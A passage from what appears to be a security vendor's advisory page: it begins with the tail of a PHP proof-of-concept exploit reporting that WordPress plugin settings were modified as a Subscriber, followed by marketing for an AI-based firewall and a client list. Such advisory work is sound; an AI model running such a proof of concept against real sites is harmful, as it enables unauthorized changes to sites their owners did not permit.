    echo "[+] Successfully modified plugin settings as Subscribern";
    echo "[+] Response: " . $response . "n";
} else {
    echo "[-] Exploitation failedn";
    echo "[-] Response: " . $response . "n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School